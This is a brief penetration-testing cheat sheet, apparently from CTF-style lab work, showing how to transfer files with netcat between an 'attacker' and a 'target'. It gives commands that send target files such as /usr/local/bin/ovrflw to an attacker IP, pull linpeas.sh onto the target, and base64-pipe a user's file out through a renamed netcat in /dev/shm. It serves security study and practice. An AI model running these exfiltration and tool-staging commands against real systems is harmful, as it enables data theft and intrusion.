File Transfer using Netcat (nc)
Netcat is a versatile networking utility for reading from and writing to network connections using TCP or UDP.
The core concept involves setting up one instance of netcat in a "listen" mode to act as a server, and another instance to connect to it as a client. Data is then piped to or from the connection.
Scenario 1: Exfiltrating a File (From Target to Attacker)
The Attacker machine
# Listen on port 9002 and redirect incoming data to a file named 'ovrflw'
nc -lp 9002 > ovrflw
the target machine
# Connect to the attacker and send the contents of /usr/local/bin/ovrflw
nc -w 5 10.10.16.4 9002 < /usr/local/bin/ovrflw
check the file
# Always check the authenticity of the file
md5sum <file-transferred>
Scenario 2: Deploying a Tool (From Attacker to Target)
the attacker machine
# Listen on port 9002 and prepare to send 'linpeas.sh' upon connection
nc -lp 9002 < linpeas.sh
the target machine
# Connect to the attacker and save the received data to a file named 'linpeas.sh'
nc -w 5 <attacker-ip> 9002 > linpeas.sh
check the file
# Always check the authenticity of the file
md5sum <file-transferred>
scenario 3
attacker
nc -lnvp 9002 | base64 -d > recov.wav
target
cat /home/xalvas/recov.wav | base64 | /dev/shm/nika 10.10.16.4 9002
check the file
# Always check the authenticity of the file
md5sum <file-transferred>